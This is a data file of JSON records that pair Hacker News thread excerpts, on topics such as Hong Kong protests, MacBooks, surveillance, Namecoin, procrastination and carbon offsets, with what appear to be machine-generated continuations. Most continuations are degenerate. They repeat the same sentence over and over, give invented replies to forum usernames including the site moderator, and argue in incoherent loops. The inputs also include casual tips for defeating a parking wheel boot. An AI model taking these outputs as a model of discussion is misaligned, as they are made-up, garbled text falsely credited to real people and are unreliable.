thing"} +{"output_text": "?\n\n~~~\nmatt4077\nI don't know about the mainland, but in Hong Kong, the protests are being\ndescribed as \"riots\" by the media.\n\n~~~\nthinkingkong\nI'm not sure what you mean by riots. I'm not sure what you mean by media.\n\n~~~\nmatt4077\nI mean that the media is describing the protests as riots.\n\n~~~\nthinkingkong\nI don't think that", "input_text": " and much more about the political state of\naffairs that a company appears more forward-looking than most other\ninstitutions. It's quite sad really.\n\n \nI don\u2019t need The Onion, I have China Daily - guyhance\nhttps://www.guyhance.com/2019/06/i-dont-need-the-onion-i-have-china-daily/\n======\nVanPossum\nSince we're on the topic of underhanded media manipulation, I'll just leave\nthis here:\n\nI saw this entry skyrocket its way to position #2 on the front page, and\nwithin minutes, despite have 130+ upvotes and 30+ comments within 1 hour it is\nnow suddenly 11 pages down, at position 340 (as of this post). As you can see\nthis submission does not have any remark from mods and is not marked\n\"[Flagged]\" or anything...\n\n~~~\nradcon\nHN is no different from every other internet forum: Heavily moderated with\nvery little transparency -- the perfect recipe for filter bubbles and\ngroupthink.\n\nThe moderators can even apply permanent penalties to individual users (your\ncomments will sink to the bottom where few will see them) without notice or\njustification. It's sort of like a shadow-ban but your comments are still\nvisible.\n\n------\nShivetya\nSo a modern day Baghdad Bob?\n\nFor those laughing, just remember this when a politician comes forward and\nwants to protect you from fake news. It can happen anywhere, it just does not\nneed to happen all at once for it to come into being.\n\n------\nthinkingkong\nThis is wild. Does anyone have a sense of what people in areas of mainland\nChina think about the protests"} +{"output_text": "pro-x-\ntutoria...](https://www.macprovideo.com/tutorial/final-cut-pro-x-tutorial-\ntutorial-1-introduction-to-the-lightbar-and-fn-keyboard-on-macbook-pros/)\n\n~~~\nmightykan\nI'm not sure I'd call it a toy. It's a feature that's been around for a while\nand is now being used by a", "input_text": " a few years ago.\n\nAt the time Dell only shipped the EU versions in 8 GB variants. I'm in the\nmarket for a new 13 or 14 inch machine and am split on a new MBP, Thinkpad or\nXPS 13.\n\nApple seem to have the best offering in terms of what causes me the least\namount of annoyances with hardware/OS integration but don't offer a 32GB\nlaptop. I also would prefer to run Linux natively. It's a tough decision given\nthe ~2,000 GBP cost.\n\nEdit: a couple of replies mention not liking the touchbar or keyboard in the\nnew MBP line-up. I used a touchbar 13\" model daily for ~6 months at my last\nfull time and after a weeks usage grew to like the keyboard and love the\ntouchpad. The touchbar was.. meh, even with BetterTouchTool to map my IDE\nshortcuts. Apple need to add haptic feedback to the touchbar IMO but I didn't\nfind the lack of physical keys too hurtful to my workflow.\n\n~~~\njordanthoms\nThe latest generation of MBPs has a 32GB option.\n\n~~~\nmightykan\nAnd a toy light bar whose brightness and duration cannot be controlled (which\nsucks precious battery life) and is an insult to the \"Pro\" name. Are there any\nserious options available?\n\n~~~\ntimrichard\nYou might see it as a toy if it's just an annoying way to trigger fn\nkeystrokes.\n\nBut for people who use applications like Final Cut Pro X, you can actually do\na lot with it.\n\nHere's a course on it, for example :\n\n[https://www.macprovideo.com/tutorial/final-cut-"} +{"output_text": "\n\n------\njrockway\nI'm not sure why this is news. Google has been doing this for years.\n\n~~~\njrockway\nI guess I should have said \"this is news to me\". I've never heard of this\nbefore.\n\n~~~\njrockway\nI guess I should have said \"this is news to me\". I've never heard of this\nbefore.\n\n------\njrockway\nI'm not sure why this is", "input_text": "'s peering arrangements are set up but I doubt that\nthis is the only transit arrangement Google has ever ended up in.\n\n[1] \n\n~~~\npowertower\nMy thoughts exactly at first.\n\nThere is something nonsensical about this whole matter (as reported by the\nblogs) that triggers a flag for me.\n\nMore info -\n\n(tl;dr; the _peering_ traffic between Cogent and Orange are too imbalanced;\nCogent handles Google's traffic)\n\nIn this case, the US telecommunications operator Cogent claimed, among other\nthings, that France T\u00e9l\u00e9com was compromising the peering system (enabling\nexchange of traffic flows between networks, free of charge) used by transit\noperators, by requesting payment for opening up additional technical capacity\nfor access to Orange subscribers. Regarding this claim, the Autorit\u00e9\nconsidered that in view of the _highly asymmetric nature of the traffic\nexchanged between France T\u00e9l\u00e9com and Cogent, such a payment request does not\nin itself constitute an anti-competitive practice inasmuch as this type of\nremuneration is not uncommon in the Internet industry in cases where a\nsignificant imbalance exists between the incoming and outgoing flows exchanged\nbetween two networks_, and is consistent with the overall peering policy\nadopted by France T\u00e9l\u00e9com, with which Cogent is familiar.\n\nHowever, the Autorit\u00e9 also noted a certain lack of transparency in the\nrelationship between the domestic network of France T\u00e9l\u00e9com (Orange) and its\ntransit operator business (Open Transit), creating a potential for margin\nsqueezes. France T\u00e9l\u00e9com agreed to make commitments to prevent such situations\nand enable appropriate monitoring."} +{"output_text": "a good thing.\n\n~~~\nanexprogrammer\n> There are many reasons why some individual might want to know private things\n> about some other individual.\n\nI agree. I'm not saying it's a good thing. I'm saying it's not a bad thing.\n\n> When individuals with some tiny (or vast) power want to wield it over\n> _anyone else_, especially when they can do it with little oversight, it's\n> very tempting", "input_text": " want to keep private.\n\n~~~\nnathancahill\nWhy would you be concerned about the FBI or the NSA knowing about the content\nof your digital communiques if you have nothing to hide? Even the most ardent\nsupporter of personal freedoms will admit that the government observing you\nover a network is the same as taking pictures of you with a telephoto lens on\na busy street. The truth is the same: there are too many people and you aren't\nspecial enough to deserve personal surveillance.\n\n~~~\nanexprogrammer\n> there are too many people\n\nOh _please._ They can probably harvest the lot. It'll be some algorithm that\ndeems you worthy or otherwise or gets you on an \"of interest\" list. Let's keep\n\"personal surveillance\" for '50s spy movies and Banksy murals.\n\nMore generally, what about the chilling effect on legal and legitimate\nconversation?\n\n~~~\njeremysmyth\n_It 'll be some algorithm that deems you worthy or otherwise or gets you on an\n\"of interest\" list._\n\n...or your association with \"Occupy\" or some other political protest movement\nthat someone in power disagrees with, or that your wife bullied some\npolitician's wife for two weeks in school, or that your interfering neighbour\nwith a petty dislike of how you landscape your garden works as a government\nclerk and can access your data.\n\nThere are many reasons why some individual might want to know private things\nabout some other individual. When individuals with some tiny (or vast) power\nwant to wield it over _anyone else_, especially when they can do it with\nlittle oversight, it's very tempting.\n\nThat \"the government\" has access to my private information does not mean it's\n"} +{"output_text": "~~~\njlgaddis\nI'm not sure I understand your point.\n\n~~~\nRexRollman\nI'm not sure I understand your point.\n\n------\njlgaddis\nI'm not sure I understand the point of this article.\n\n~~~\njlgaddis\nI'm not sure I understand the point of this article.\n\n------\njlgaddis\nI'm not sure I understand the point of this article.\n\n------", "input_text": " opinion should carry a\nlot of weight with anyone serious about extending it.\"\n\n[https://en.bitcoin.it/wiki/Alternative_chain](https://en.bitcoin.it/wiki/Alternative_chain)\n\nI realize that is close to being useless, but I can't find the direct post in\nquestion by Satoshi that it is referencing. I seem to recall it not being\nSatoshi, however, but one of the current devs that I read a similar sentiment\nfrom.\n\nBut again, I don't have any direct links. I apologize.\n\n------\nkushti\nI'm interesting in developing services on top of Namecoin / other p2p more-\nthan-currencies (MasterCoin/Ethereum?). Please mail me (kushtech [at] yahoo\n(dot) com) if you want to discuss related things or join me. I'm\nScala/Java/etc developer myself / entrepreneur also in past and future.\n\n~~~\niterationx\nYou might be interested in learning about Twister, decentralized microblogging\n(twitter) [http://twister.net.co/](http://twister.net.co/)\n\n~~~\nthisiswrong\nI can't believe how potentially disruptive Twister is! Haha and I love its\nsystem of mining for promoted tweets.\n\nAs I have always said, bitcoin (the invention) means the end of FB, Twitter,\nand all similar centralized corporate entities.\n\n------\nmm0\nkeep pumping it op\n\n------\nRexRollman\n\"Namecoin is a cryptocurrency which also acts as an alternative, decentralized\nDNS\"\n\nSo, finally, a cryptocurrency which serves a purpose aside from filling up\nHN's article listing. Cool.\n\n"} +{"output_text": " enough\nprocessing power to run the Arduino IDE, and the Arduino IDE is not a\ndevelopment environment.\n\nSo, the Arduino IDE is a peripheral extension of the laptop/desktop, and the\nArduino is a peripheral extension of the laptop/desktop.\n\n~~~\njoezydeco\nI'm not sure I agree with this. I've been using the Arduino IDE for a few\nyears now and it's been a great tool for prototyping.", "input_text": " and do exactly what you described, yet don't have\nwide adoption at all.\n\n~~~\nwiredfool\nThey've been around forever, and I dismissed them back in the internet dark\nages because they only had crappy windows software and their obnoxious\nintrusive ads seemed to be all about \"security\" cameras pointing at scantily\nclad women.\n\n/me realizes that I've just dated myself here.\n\n------\nstephengillie\nInteresting -- this is basically the merger of an Arduino Leonardo and a\npocket router. The flavor of Linux in use is a spinoff from OpenWRT, a popular\nhome router OS. The chip that runs on is the Atheros AR9331. Since OpenWRT\nsupports other languages, you can now program this device in Python.\n\nAR9331 pinout: \n\n~~~\nzdw\nAgreed. The Atheros chips tend to be much better supported - you actually get\nnon-binary blob wireless drivers, which is a big problem with Broadcom-based\ndevices like the venerable Linksys WRT54G and similar.\n\nOpenWRT is quite nice, and ships with a Lua based web interface, which is\nideal for a low memory/CPU device like a router.\n\n------\ndiydsp\nEmbedded hardware developer/DSP programmer here: An interesting turn in the\nlife of the Arduino turned out to be that people used it not so much as an\nembedded processor, but as a peripheral extension of their laptops and\ndesktops.\n\nLaptops and desktops (with some exceptions...) simply don't have"} +{"output_text": " I'm attacking rich people or white people. I'm saying that\nthere's a lot of truth to the idea that the labor pool is shrinking because\nmore people are put in prison over nothing (while white rich people continue\nto get away with almost anything).\n\n~~~\nAlexB138\nI'm not sure what you mean by \"over nothing\".\n\n~~~\ngeofft\nI mean that the people who are in prison for non-violent crimes are mostly\npeople of", "input_text": " for employment with municipal fire department (mandatory for\n> felonies/crimes involving moral turpitude)\n\n> Any felony; Crime of moral turpitude; Crimes involving fraud, dishonesty,\n> misrepresentation or money-laundering\n\nor:\n\n> Ineligible for employment in the police or fire department\n> (second/third/fourth class cities)\n\n> Any felony; Any misdemeanor\n\nIs that a reasonable restriction?\n\nI am of the understanding that these restrictions are in place so that others\ncan't can't compromise the integrity of one working in that office. Having\ngambling debts is something that allows people to blackmail or otherwise\ninfluence a person.\n\nLooking through that, are there any that are particularly \"why is this even\nthere?\" that you can point out that fall in the mandatory/automatic for\nconsequence type?\n\n------\nmtgx\nAlso labor pool is shrinking because more people are put in prison over\nnothing (while white rich people continue to get away with almost anything).\n\n~~~\nrainbowmverse\nThe phrasing on the latter half seems likely to cause a big mess of an\nargument, despite its statistical accuracy. Is there a better way to put it?\n\n~~~\ngeofft\nI would hope that this forum understands the importance of not censoring\ntruths that are politically incorrect....\n\n~~~\nAlexB138\nI may be misunderstanding you, but politically attacking rich people and white\npeople are some of the most popular things going right now, especially among\nthe demographic common around HN. It's almost the opposite of politically\nincorrect.\n\nNot saying all complaints are unfounded, but it's far from politically\nincorrect in many groups.\n\n~~~\ngeofft\nI don't think"} +{"output_text": " jobs.\n\n3\\. It's a good place to meet people.\n\n4\\. It's a good place to learn about the world.\n\n5\\. It's a good place to learn about yourself.\n\n6\\. It's a good place to learn about your interests.\n\n7\\. It's a good place to learn about your strengths and weaknesses.\n\n8\\. It's a good place to learn about your passions.\n\n9\\. It's a good place", "input_text": "ldelancey\nSubscribe to newsletters from Udemy, StackSkills, Stone River Academy, and the\nBGR Store. They often have specials where you can get a whole bundle of online\ncourses AND there are several that have a project that you complete and can\nadd to your portfolio. They've had deals where you can pick up 10+ courses for\n$20. I also echo the recommendation to go through the MIT or Stanford courses.\nCheck out edX for many of those. As someone else said, it really never has\nbeen better. I even attended a free CSS3 tricks class from Noble Desktop\nearlier in the week. It was a gift for being a subscriber to their newsletter.\nIt was live and they created a GoToMeeting for me and the instructor took my\nquestions and paid me plenty of attention. Great free two hours of my time!\n\nGood luck, you CAN do it!\n\n------\npartisan\nI'll do what I can to help you if you are serious about learning. Email me at\npartisanyc at gmail.\n\n------\ncrispytx\nYou can download all the programming books you'll ever need for free with\nbittorrent. Its like Frank Zappa once said, \"If you want to get laid, go to\ncollege. If you want an education, go to the library.\"\n\n------\nlumberjack\nIf I were in your situation, I'd get an entry level job in an unrelated field,\nget a loan and go to college part time.\n\nThere's lots of reasons why you'd want to go to college:\n\n1\\. You want to future proof yourself against ageism. It's much harder without\na degree.\n\n2\\. It's a really good place to find entry level"} +{"output_text": ", and that's okay.\n\n------\njasonkester\nI've found that the best way to fight procrastination is to make it a\ncompetitive sport.\n\nI've found that if I can make it a game, I can beat it.\n\nI've found that if I can make it a game, I can beat it.\n\nI've found that if I can make it a game, I can beat it.\n\nI've found", "input_text": "on and focus on just a few tasks at a time while\nothers prefer to be a manager for many people, so you don't go as deep\nyourself, but get to have a hand in everything)\n\n\\- What other things can motivate you about your daily work or work\nenvironment? (e.g. a good cafeteria, short commute, flexible hours, etc.)\n\nThe balance of how important each of these aspects are vary from person to\nperson, and for a person over time. For example I was working at a game engine\ncompany and while I loved the vision (that I could help thousands of creative\npeople turn their ideas onto reality) and the colleagues (places with great\nvisions tend to attract really cool people) and while it was initially a fun\nchallenge to get the hang of C++, I eventually got tired of the cruft of a\nlegacy codebase, and probably most importantly, I felt like I was wasting my\nmost productive years realizing someone else's dream instead of building up a\ncompany of my own, like I'd been dreaming of. I was lucky enough to find a co-\nfounder just at the right time, because I also know about myself that I tend\nto get demotivated if I'm not interacting with other people daily.\n\nAnyways, the point is, 'fighting down' procrastination is a necessary skill\nsometimes, but sometimes you also just have to listen to what your\nsubconscious is telling you about what motivates you and find something that\ndoes. It's important every once in a while to look at both if you're going\nsomewhere you want to go, and if the path that you're taking there is one you\ncare to walk on. There's no shame in realizing that something that used to\nmotivate you doesn't anymore"} +{"output_text": " done is\nalways a struggle.\n\n------\njasonkester\nI've found that the best way to get through the day is to do the things that\nyou don't want to do.\n\nIf you're a programmer, you don't want to write code. So you do it anyway.\n\nIf you're a writer, you don't want to write. So you do it anyway.\n\nIf you're a designer, you don't want to design.", "input_text": " time as a remote software developer, and what helped me in\nrecent years was to focus on developing self-discipline, which is what pushes\nyou forward in the long term. And yes, self-discipline can be seen as a\ntrainable skill.\n\nI started by forcing myself to wake early and take a cold bath every week day.\nI've found that this habit helps me develop a work routine in the first\nmorning hours. Even without having great productivity, I've found this greatly\nreduces the bad feeling you get from procrastination.\n\nAlmost a year ago, I started forcing myself to do something I used hate (but\nhealthy, especially for someone that sits for most of the day): going to the\ngym and lifting weights 3 times a week. As the time passed, this became an\nhabit which has an amazing impact on my work productivity. This may be because\nI'm following a program where I constantly try to increase the weights, giving\na feeling of progress I don't usually get from daily work (Currently lifting\nabout 4x weight more than when I started). It might not work for you, but this\nis what I'm doing, in case you are interested:\n[https://stronglifts.com/](https://stronglifts.com/)\n\n~~~\nwhilestanding\nCold shower after waking up early sounds like a great way to start the morning\nand improve discipline. I think I'll attempt starting this plus adding a short\nrun after the shower. I'm sure I'll be able to conquer the day easier after\nbreaking through that early resistance. I agree that my self-discipline\ntrainable and improving it is the best solution in the long run. There are a\nlot of things that I need to do but don't want to do, getting that"} +{"output_text": " been using this for a while. It's a bit of a pain to get working on\nDebian, but it's a great tool.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ndang\nIt's a good question. I don't know the answer.\n\n~~~\njwilk\nI think it's because it's a good example of a \"how to do X in a way that\ndoesn", "input_text": "\nIt is not the _only_ sane thing to do.\n\nkevent() is another way to handle signals. It puts handling them into the\nprogram's main event loop, which is done synchronously with normal event-\ndispatching mechanisms and so does not have worries about asynchronous signal\nsafety, because with kevent() they are just another type of filter.\n\n~~~\nslrz\nSure, if you're going to use non-portable constructs, there're better\nalternatives to the self-pipe thing. Linux has something roughly similar with\nsignalfd.\n\nThe nice thing about the write-a-byte-to-the-pipe thing is that it works\nvirtually everywhere.\n\n------\npeoplewindow\nFrom the beep readme:\n\n _By default beep is not installed with the suid bit set, because that would\njust be zany. On the other hand, if you do make it suid root, all your\nproblems with beep bailing on ioctl calls will magically vanish, which is\npleasant, and the only reason not to is that any suid program is a potential\nsecurity hole. Conveniently, beep is very short, so auditing it is pretty\nstraightforward._\n\n[https://github.com/johnath/beep](https://github.com/johnath/beep)\n\n~~~\nexikyut\nAnd all this time I've read that and thought \"well at least you're putting it\nout there, just in case - almost for the sake of it\"\n\nHeh\n\n------\nakrasuski1\nAlso see [https://holeybeep.ninja/](https://holeybeep.ninja/)\n\n~~~\nvoltagex_\nI've"} +{"output_text": " party tools to build your app. The ecosystem is still young and there's a lot of room for improvement.

What do you think? What would you choose?\n======\njetti\nI would choose Go. I have been using it for a few years now and it has been\ngreat. I have a side project that I am working on and I am using Go for the\nbackend. I have been able to get a lot done in a short amount of", "input_text": "\nAsk HN: What tech stack would you choose to bootstrap a side project in 2020? - yagodragon\nI'm a college student trying to choose a language/framework to build some side projects. Other than the classic CS languages(java,python,c/c++), I've learned some JS and Vue.js and now I'm looking into a proper backend language and framework.

After searching online and asking friends I've gathered some feedback on the most popular solutions.

Rails: Proven and mature. 3rd party gems that can help you with anything web-related. The ecosystem is thriving and most developers are happy using it.

Laravel: Made PHP cool again. Took lessons from Rails and probably provides the best Developer Experience when it comes to building a monolith app from development to deployment. PHP is also the most popular backend language.

Django: People love python. I hear that Django Rest Framework is a great tool, plus, the ability to add ml features on your existing app is a big plus.

Node.js: Full-stack Javascript is great but the backend landscape is a mess. Probably a thin backend without complex rails-like structure.

Phoenix/Go/Rust: Good options for specific use cases where performance matters.

Java/C#: Complex and enterprisey. C# is gaining traction but the 3rd party ecosystem is still lacking behind other options.

Backendless: SPAs, Next.js/Nuxt.js/Ember, JAMstack. Use services like Firebase/Auth0 and 3rd"} +{"output_text": "\nwater supply.\n\n~~~\njrockway\n_I can't bring the Tsunami victims back alive. What could I possibly learn\nfrom the Tsunami story? That it could be dangerous to live too close to the\nsea, that's about it._\n\nI think you're missing the point. The point is that the media is trying to\nmake you afraid of something that is not a problem. The media is trying to\nmake you afraid of something that is not", "input_text": " to see risks. The\ndeath of one person is a tragedy, the death of a million is a statistic. So\nthe death of tens of thousands due to the tsunami will never register the same\nemotional impact as the picture of one deformed child from Chernobyl.\n\nIt's the same in startup marketing, incidentally. That's why they give people\ntestimonials (stories), help them imagine the benefits, etc. This is sort of\nthe opposite: the media is making it easy to imagine all sorts of horrible\nthings happening due to invisible killer radiation. A few bad things probably\nwill happen. Oh yeah, tens of thousands of people were also buried under a 12m\nwall of water that crushed entire towns, but there's nothing new to say about\nthat.\n\n~~~\nTichy\nWhere I live it is a lot more rational to be worried about radiation than\nabout Tsunamis.\n\nI can't bring the Tsunami victims back alive. What could I possibly learn from\nthe Tsunami story? That it could be dangerous to live too close to the sea,\nthat's about it.\n\nIt's not my fault if the media tries to milk Fukushima for all it's worth\n(they live on fear). Still, the kind of answer you give doesn't help much. If\nthe radiation is just banana level, why do the workers there wear protection\nsuits? I didn't follow the stories too closely, so I suppose you refer to some\nmeasurement somewhere that made it into the news. That's a complete strawman.\n\nWhat I heard is that radiation levels were rising in Tokyo's water supply, but\nnot enough to be dangerous. Still I would consider it newsworthy that an\naccident 200km away that does not seem to be 100% under control affects the"} +{"output_text": ".\n\n~~~\napi\nI'm not sure what you mean by \"functional jet engines\".\n\nI'm not sure what you mean by \"most of the bleeding edge materials\".\n\nI'm not sure what you mean by \"semi functional jet engines\".\n\nI'm not sure what you mean by \"China\".\n\n~~~\nmardifoufs\nI'm not sure what you mean by \"semi functional jet engines\".\n\nI'm not sure what", "input_text": " into a single clearly dysfunctional\ncompany)\n\n~~~\ngreedo\nUS manufacturing has been growing steadily for decades. The US concentrates\nthis in sectors that are high tech, expensive, and profitable. Low margin, low\nprofit manufacturing has been offshored, but manufacturing hasn't been\nstagnant at all.\n\nAs a percentage of GDP, manufacturing has been on a downward trend, but that's\nbecause of the growth of service industry.\n\n[https://www.macrotrends.net/countries/USA/united-\nstates/manu...](https://www.macrotrends.net/countries/USA/united-\nstates/manufacturing-output)\n\n~~~\napi\nGenuinely curious then: where do we actually excel?\n\nThe only examples I can think of right now where we are genuinely number one\nis high priced low volume boutique aerospace (SpaceX and other new space\ncompanies, satellites, experimental military aircraft, electric planes, etc.)\nand of course weapons.\n\nWe can manufacture decent cars, but at least half of this is under the\ndirection and management of overseas companies like Toyota and Nissan. US car\ncompanies have been on the ropes for decades.\n\nWe seem to be losing the bulk of aerospace, generation turbines, electronics,\nchips, medical devices, power equipment, materials,...?\n\nSeeing graphs like this makes me wonder if I am living in the late days of the\nUSSR when I'm sure many optimistic graphs were published by Pravda.\n\n~~~\nmardifoufs\nWhat? Turbines? Materials? Only the US and Europe can actually build\nfunctional jet engines and most of the bleeding edge materials. Even semi\nfunctional jet engines are still a distant dream for China"} +{"output_text": " and technical aspects of\nnuclear weapons.\n\n~~~\nbloak\nI'm not sure what you mean by 'completely incompetent'.\n\nThe current government is led by a man who was a member of the apartheid\nregime's military and intelligence services.\n\n~~~\nneuro_imager\nI'm not sure what you mean by 'completely incompetent'.\n\nThe current government is led by a man who was a member of the apartheid\nregime's military and", "input_text": ". Kim doesn't want to hang from a lamp\npost, and neither do his henchmen. So Kim sued for peace.\n\n~~~\nloxs\nSo we are nominating him for some of the next years' peace Nobel prizes? That\nwould be a fun sight :D\n\n~~~\ncryptonector\nPeace through strength.\n\nThat's not the kind of talk that the Nobel folks like to hear. My guess is\nthey won't give it to DJT.\n\n~~~\nmonocasa\nI mean, Kissinger got a Nobel Peace Prize.\n\n~~~\ncryptonector\nSure, it's possible it will happen.\n\n------\nonetimemanytime\nNK's Kim would be stupid to give them up, see what happened to a guy a named\nSaddam and to another named Muammar. Assad, if not for Russia would have the\nnext one.\n\nHe can slow development down in return for aid...and milk them for decades.\n\n~~~\nIIAOPSW\nI don't know why you're being downvoted. Obviously everyone wants peace but\nrealistically doing what you said is the rational thing for NK to do and there\nis tons of historical precedent. The only state to ever denuclearize and not\nregret it is South Africa.\n\n~~~\nbloak\nBut is today's South Africa the same thing as the previous South Africa which\nhad nuclear weapons? Are the people who authorised and developed South\nAfrica's nuclear weapons still living in that part of the world?\n\n~~~\nneuro_imager\nSouth Africa didn't 'denuclearise' in the sense of giving up arms.\n\nThey had a change to a completely incompetent government who wouldn't know how\nto spell 'nuclear' let alone fathom the scientific"} +{"output_text": "they are simply buying carbon offsets to make themselves look good.\n\n~~~\njedberg\n> My biggest issue with companies that make a big deal about being \"carbon\n> neutral\" and \"carbon offsets\" is that many times it is \"voodoo\n> accounting\" in which they are simply buying carbon offsets to make\n> themselves look good.\n\nI think that's a fair point. I think it's also a fair point to say that\nMicrosoft is not doing", "input_text": " a\ncompany is removing more carbon than it emits each year. While we at Microsoft\nhave worked hard to be \u201ccarbon neutral\u201d since 2012, our recent work has led us\nto conclude that this is an area where we\u2019re far better served by humility\nthan pride. And we believe this is true not only for ourselves, but for every\nbusiness and organization on the planet.\n\n>Like most carbon-neutral companies, Microsoft has achieved carbon neutrality\nprimarily by investing in offsets that primarily avoid emissions instead of\nremoving carbon that has already been emitted. That\u2019s why we\u2019re shifting our\nfocus. In short, neutral is not enough to address the world\u2019s needs.\n\n>While it is imperative that we continue to avoid emissions, and these\ninvestments remain important, we see an acute need to begin removing carbon\nfrom the atmosphere, which we believe we can help catalyze through our\ninvestments.\n\n> Solving our planet\u2019s carbon issues will require technology that does not\n> exist today. That\u2019s why a significant part of our endeavor involves putting\n> Microsoft\u2019s balance sheet to work to stimulate and accelerate the\n> development of carbon removal technology. Our new Climate Innovation Fund\n> will commit to invest $1 billion over the next four years into new\n> technologies and expand access to capital around the world to people working\n> to solve this problem. We understand that this is just a fraction of the\n> investment needed, but our hope is that it spurs more governments and\n> companies to invest in new ways as well.\n\nThis is one of the most exciting and potentially impactfull announcements. My\nbiggest issue with companies that make a big deal about being \"carbon neutral\"\nand \"carbon offsets\" is that many times it is \"voodoo accounting\" in which\n"} +{"output_text": "Through-Creative-\nBattles/dp/0679742405)\n\n------\njoeclark77\nI'm not sure I understand your question. Are you asking how to motivate\nyourself to do something you don't want to do?\n\n------\njoeclark77\nI'm not sure I understand your question. Are you asking how to motivate\nyourself to do something you don't want to do?\n\n------\njoe", "input_text": "estones. I set a schedule with milestones that\nshould help me reach goals on time. The sooner I feel behind, the sooner I\npush through my procrastination.\n\n------\njarym\nJust gonna throw my two pence into this...\n\nI've always found that if I couldn't motivate myself to do something then I\nprobably do not want to do it on some level and should be doing something\nelse.\n\nIf that could be you then one solution is to take a break from work and try\nfigure out what you'd rather be doing. You'll know because you'll feel drawn\nto it.\n\n------\nkeypress\nYou aren't alone. I'm far better at helping others than myself. Freelancing I\nfind tricky. I've had good management in the past alongside a team that knows\nhow to play to my strengths and keep down my weaknesses. So don't discount\nworking in a unit. Stroking my own ego, and trying to reward myself is useless\nfor me.\n\n------\nquadcore\nI think you've not yet found what you love. Try new things and wait until you\nthink about these naturally in the shower. You should force yourself to assume\nyou dont know who you are. It could be surprising. Maybe you should be, say, a\nhair stylist. Maybe you would dramatically love that. Finding what I love to\ndo worked for me.\n\n------\ngadders\nThe War of Art [1] has some good advice on overcoming \"resistance\", the force\nthat stops people from doing what they need to do.\n\n[1] [https://www.amazon.co.uk/War-Art-Through-Creative-\nBattles/dp...](https://www.amazon.co.uk/War-Art-"} +{"output_text": "com.\n\n~~~\ndang\nPlease don't do this here.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that people are talking about this. It's a good\nthing that people are talking about the dangers of radiation.\n\nBut I think it's a bad thing that people are talking about the dangers of\nradiation and then using it as an excuse to talk about", "input_text": " an engaging\nwriting style that makes it a good read.\n\nIf you prefer to watch your history, PBS\u2019 _American Experience_ documentary\nseries did an episode based on Blum\u2019s book (see\n[http://www.pbs.org/wgbh/americanexperience/films/poisoners](http://www.pbs.org/wgbh/americanexperience/films/poisoners)\n); it can be streamed via a bunch of different video services.\n\n~~~\nth0ma5\nWe still poison alcohol not only for prohibition reasons but also tax reasons.\n\n~~~\ntialaramex\nIn the EU at least the denatured alcohols sold to the general public (e.g. as\ncleaning products) don't have enough actual poison in them to cause much\ndamage.\n\nThe main thing they shove in there to stop you drinking it is denatonium\nbenzoate (\"bitrex\"), which will make you _regret_ putting it in your mouth,\nbut won't kill you because you'll immediately want to spit it out instead. The\nother ingredients are mostly to stop you trying to get the bitrex back out and\nthen selling it as bootleg booze (thus evading the tax).\n\n~~~\njmkni\nI think Nintendo coat Switch cartridges with the same thing, to prevent kids\nfrom putting the tiny cartridges in their mouth.\n\n------\nrootsudo\nIf you go to the Wikipedia Article for Radium Girls:\n[https://en.wikipedia.org/wiki/Radium_Girls](https://en.wikipedia.org/wiki/Radium_Girls)\n\\- You'd see it's an exact mirror of much of the text that's _re_ posted on\ntheatlantic."} +{"output_text": " bucks.\n\n~~~\njimktrains2\n> exploiting the coefficient of expansion for gasses (as these brilliant\n> students did) is absolutely an option.\n\nI'm not sure how this would work. The gasket is a rubber seal, and the\nexpansion of the rubber is going to be the same regardless of the pressure.\n\n~~~\nnimbius\nI'm not sure how you'd exploit the expansion of the rubber, but I'm sure\n", "input_text": " is how tow\ntrucks disengage the clutch and/or the parking brake... am I to understand\nthat they simply don\u2019t? So if I park my manual transmission car in reverse and\nwith the parking brake on, they\u2019re just going to literally drag my car to\ntheir lot or destroy my gearbox? How is this not a bigger issue?\n\n~~~\nsojournerc\nDepends on the car and where it's drive wheels are. Also I think tow drivers\nare authorized to use a tool to break in to the car (non destructively) to put\nit in neutral if necessary.\n\n~~~\njimktrains2\nAside: if you ever notice a teeny tiny panel that has a dimple or hole to open\nit with by the shifter, that's the release for the interlock that prevents\nchanging gears without the keys. That's how you get in neutral when the owner\nisn't present.\n\n------\nnimbius\nWhen I first saw these touted a few years ago I'd imagined they would be\nfairly trivial to bypass.\n\n\\- light oil or penetrating oil can be used to bypass the gasket. If it will\nremove decals or stickers, this thing doesnt stand a chance.\n\n\\- exploiting the coefficient of expansion for gasses (as these brilliant\nstudents did) is absolutely an option.\n\n\\- keeping your windshield wipers up would prevent use of the device.\n\n\\- running some 4lb test fishing line taped against your windshield would\nallow, once placed, the gasket to be defeated by just lifting up on it.\n\nand as always, remember, manufacturers are bound to use a specific set of\nlocks and bolts. Torx security are inexpensive and a barrel lock impression\ntool is about ten"} +{"output_text": "ster_johnson\nI'm not sure if this is a good idea, but I'm curious: why not just use\nFacebook's own API?\n\n~~~\nthyb\nWe are using Facebook's API for the examples, but we are also providing a\nsimple API wrapper for developers to use.\n\n~~~\nlobster_johnson\nI see. I guess I'm just not sure what the benefit is.\n\n~~~\nthyb\nWe are providing a", "input_text": "thyb\nyes it's maybe more a kind of ASK HN if this API could interest people as we\nare finalizing it\n\n~~~\nyuliyp\nAh, cool. I'm kind of interested in how you work on the security aspects of it\n(will you give guidance on how to configure your client info for the various\nAPIs (what do I fill in for all of the different URIs in my Facebook app\nconfig?), as well as more complicated scenarios (storing tokens in DB,\nassociating tokens to accounts, etc.)\n\n------\nspicyj\nThe most confusing thing to me about this page was the changing provider\nnames. I was looking at the page and could tell that something was changing\nbut it took me about 15 seconds to figure out what it was.\n\n~~~\nenjo\nHah.. I actually read this comment first and I was STILL just staring at my\nscreen completely dumfounded. I'd see the little animation on the right\nupdate, and then something else would change. It was mystifying.\n\n~~~\njsmeaton\nMade it really hard for me to focus on the content. I know exactly what was\nchanging, and it wasn't that much, but it took a really long time (in\ncomparison) to read the examples.\n\n~~~\nthyb\nAlright, listening to your feedback it seems the animation was too much of a\ndistraction, so we removed it. Thank you for your feedback!\n\n------\nams6110\n_1\\. Setup your Facebook API Keys in OAuth.io_\n\nlost me.\n\n~~~\njlogsdon\nThat's 1 out of 50+ examples. Facebook is easily the most commonly\nimplemented, so why would they not make that the default example?\n\n------\nlob"} +{"output_text": " the rest of X.\n\n~~~\nTeMPOraL\nI think the point is that Google X is now a separate company from Alphabet.\n\n~~~\ndragonwriter\n> I think the point is that Google X is now a separate company from Alphabet.\n\nNo, the point is that Google X is now a subsidiary of Alphabet.\n\n~~~\nTeMPOraL\nI think the point is that Google X is now a subsidiary of Al", "input_text": " killed my\ninterest in it's first 